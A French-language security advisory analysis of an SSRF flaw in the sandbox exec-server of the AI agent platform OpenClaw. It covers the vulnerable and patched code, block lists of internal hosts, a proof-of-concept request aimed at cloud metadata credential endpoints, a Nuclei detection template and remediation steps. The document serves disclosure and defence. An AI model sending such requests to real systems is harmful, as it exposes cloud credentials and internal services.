
Analyse approfondie de CVE-2026-62201 : contournement de la politique réseau du serveur d'exécution sandbox d'OpenClaw (SSRF). Cause racine, code vulnérable vs corrigé, exploitation, détection, remédiation.
| Champ | Valeur |
|---|
| Avis de sécurité | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Produit | OpenClaw (paquet npm openclaw) — composant sandbox exec-server |
| Versions affectées | openclaw < 2026.6.6 |
| Version corrigée | 2026.6.6 et ultérieures |
| Cause racine | Absence de validation SSRF dans l'assistant HTTP intégré de l'exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit de correction | 21410d1c — « fix(codex): guard sandbox http requests » |
| Vecteur d'attaque | Requête HTTP POST vers le gestionnaire http/request de l'exec-server avec une URL contrôlée par l'attaquant |
| Impact | Un appelant à faibles privilèges atteint des destinations réseau internes (métadonnées cloud, IP privées, services localhost) que la politique réseau d'OpenClaw devrait bloquer |
OpenClaw est une plateforme d'agents IA dont le sandbox exec-server expose un assistant de requêtes HTTP que les agents utilisent pour effectuer des appels web sortants. Les versions antérieures à 2026.6.6 fournissaient cet assistant sans protection SSRF : un appelant de confiance moindre — tout agent, outil ou chemin d'entrée que la plateforme considère comme moins fiable qu'un opérateur de passerelle — pouvait soumettre une URL arbitraire et faire en sorte que l'exec-server la récupère depuis le réseau de l'hôte.
Les contrôles de politique réseau applicables à l'egress direct du sandbox n'étaient pas appliqués lorsque les requêtes transitaient par l'interface HTTP de l'exec-server. Cette incohérence constitue la vulnérabilité : l'exec-server agissait comme un proxy HTTP sans restriction vers le réseau interne.
Lorsqu'OpenClaw exécute un agent Codex dans un sandbox, il démarre un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) qui héberge des méthodes JSON-RPC sur un transport WebSocket/HTTP. L'une de ces méthodes, http/request, permet à l'agent de récupérer des URL. L'implémentation fait transiter la requête par un petit script Python embarqué — SANDBOX_HTTP_REQUEST_SCRIPT — qui effectue le travail urllib réel.
Le gestionnaire de requêtes se trouve dans extensions/codex/src/app-server/sandbox-exec-server/http.ts.
L'assistant Python recevait l'URL et vérifiait uniquement le schéma :
# Extrait de [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abrégé)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
C'est là toute la barrière. Il n'y avait :
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ était suivie aveuglémentRésultat : {"method":"GET","url":"http://<hôte-interne>/"} renvoyait le corps de la réponse interne à l'appelant. L'exec-server était un proxy ouvert vers le réseau de l'hôte.
Le commit 21410d1c a ajouté une défense en profondeur sur les deux couches :
Couche 1 — Pré-vérification TypeScript (assertSandboxHttpRequestTargetAllowed dans http.ts) :
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Couche 2 — Durcissement de l'assistant Python (assert_url_allowed dans le script embarqué) :
localhost, localhost.localdomain, metadata.google.internal, plus les suffixes *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, et plus encoreipaddress : loopback, privé, link-local, multicast, réservé, non spécifiéGuardedRedirectHandler : chaque saut de redirection ré-exécute assert_url_allowed avant d'être suivi::ffff:a.b.c.d), 6to4 (2002::/16), Teredo et ISATAP sont désencapsulées et leur IPv4 intégrée est vérifiéedef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 avec l'exec-server sandbox activéhttp/request (la plateforme considère cet accès comme à faibles privilèges — par exemple un plugin, un outil ou un chemin d'entrée, et non un opérateur de passerelle)Étape 1 — Envoyer une requête ciblant un service interne :
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Étape 2 — Réponse vulnérable (HTTP 200) :
L'exec-server a récupéré l'URL interne et renvoyé le corps à l'appelant — encapsulé en base64 sous forme de bodyBase64 :
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Décodé :
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Étape 3 — Réponse corrigée (HTTP 502) :
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
La destination interne est inaccessible via l'exec-server sur les versions corrigées.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → identifiants IAMhttp://127.0.0.1:<port>/ pour atteindre des interfaces de gestion non authentifiées colocaliséesCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7,7 Élevée
Le cadrage de l'avis est important : le modèle d'opérateur de confiance d'OpenClaw suppose que les opérateurs de passerelle sont fiables. Le bug est qu'une surface de confiance moindre (plugins, outils, chemins d'entrée) pouvait atteindre des destinations que la politique aurait dû bloquer.
Un modèle de détection est disponible — basé sur OAST, ne nécessitant aucune connaissance préalable de la topologie interne :
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Soumis en amont : projectdiscovery/nuclei-templates#17183
/exec/http (ou l'équivalent JSON-RPC WebSocket) dont le corps JSON contient un champ url pointant vers des destinations privées/internes169.254.169.254, 100.100.100.200)npm install [email protected] (ou ultérieure). La correction ajoute une validation SSRF complète à la fois à la frontière TS et à l'intérieur de l'assistant Python.2026.6.6Cette recherche a été menée sur des données de vulnérabilité divulguées publiquement et des logiciels déployés dans un laboratoire isolé. Aucun système de production en direct, réseau tiers ou recherche zero-day n'est impliqué. Tous les PoC utilisés ici sont des requêtes inoffensives en lecture seule.